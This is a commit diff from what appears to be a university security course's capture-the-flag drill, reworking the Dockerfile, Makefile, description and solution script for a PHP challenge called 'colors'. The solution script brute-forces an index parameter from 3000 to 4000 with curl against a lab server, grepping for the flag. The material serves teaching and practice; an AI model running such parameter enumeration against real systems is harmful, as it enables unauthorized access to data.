File tree Expand file tree Collapse file tree 6 files changed +33
-71
lines changed
chapters/web-application-security/cookies-and-session-management/drills/colors Expand file tree Collapse file tree 6 files changed +33
-71
lines changed Original file line number Diff line number Diff line change 22
33## Description
44
5- Get the flag from http://141.85.224.115:8002/colors .
5+ Get the flag from http://141.85.224.115:8002 .
66
77Score: 50
88
Original file line number Diff line number Diff line change 1+ # Stage 1: Generate the source file with the flag
2+ FROM alpine:latest AS builder
3+
4+ ARG FLAG
5+ COPY src/index.template.php /tmp/index.template.php
6+ RUN sed "s/__TEMPLATE__/${FLAG}/g" /tmp/index.template.php > /tmp/index.php
7+
8+ # Stage 2: Final image
19FROM php:7.2-apache
210
3- COPY /public /var/www/html/
11+ COPY --from=builder /tmp/index.php /var/www/html/
Original file line number Diff line number Diff line change 1- FILE :=../flag
2- FLAG :=$(shell cat $(FILE ) )
3-
4- build :
5- docker build -f Dockerfile -t sss-web-02_colors ..
1+ EXTERNAL_PORT := 8082
2+ INTERNAL_PORT := 80
3+ NAME := cookies-and-session-management_colors
4+ FLAG := $(shell cat ../flag)
65
76run : build
8- docker run -d -p 8082:80 --name sss-web-02_colors sss-web-02_colors
7+ docker run -d -p $(EXTERNAL_PORT ) :$(INTERNAL_PORT ) --name $(NAME ) -t $(NAME )
8+
9+ build :
10+ docker build --build-arg FLAG=" $( FLAG) " -t $(NAME ) -f Dockerfile ..
911
1012stop :
11- docker stop sss-web-02_colors
13+ docker stop $( NAME )
1214
1315clean : stop
14- docker rm sss-web-02_colors
16+ docker rm $(NAME )
17+ docker image rm $(NAME ) :latest
1518
16- .PHONY : build run stop clean
19+ .PHONY : run build stop clean
Load Diff This file was deleted.
Original file line number Diff line number Diff line change 11#! /bin/bash
22PORT=8082
33
4- if [[ $1 == " local" ]]
5- then
6- url=' http://127.0.0.1:' $PORT
7- elif [[ $1 == " remote" ]] && [[ -z $2 ]]
8- then
9- url=' http://141.85.224.115:' $PORT
4+ if [[ $1 == " local" ]]; then
5+ url=' http://127.0.0.1:' $PORT
6+ elif [[ $1 == " remote" ]] && [[ -z $2 ]]; then
7+ url=' http://141.85.224.115:' $PORT
108else
11- url=$1 ' :' $2
9+ url=$1 ' :' $2
1210fi
1311
1412# Colors
1513echo " Start exploit for Colors"
16- url=$url ' /colors/index.php?index='
17- for i in {3000..4000}
18- do
19- flag=$( curl -s $url$i | grep -o " SSS{.*}" )
20- if [[ ! -z $flag ]]; then
21- break
22- fi
14+ url=$url ' /index.php?index='
15+ for i in {3000..4000}; do
16+ flag=$( curl -s $url$i | grep -o " SSS{.*}" )
17+ if [[ ! -z $flag ]]; then
18+ break
19+ fi
2320done
2421echo " Flag is $flag "
2522echo " ----------------------------"
Load Diff This file was deleted.
You can’t perform that action at this time.
0 commit comments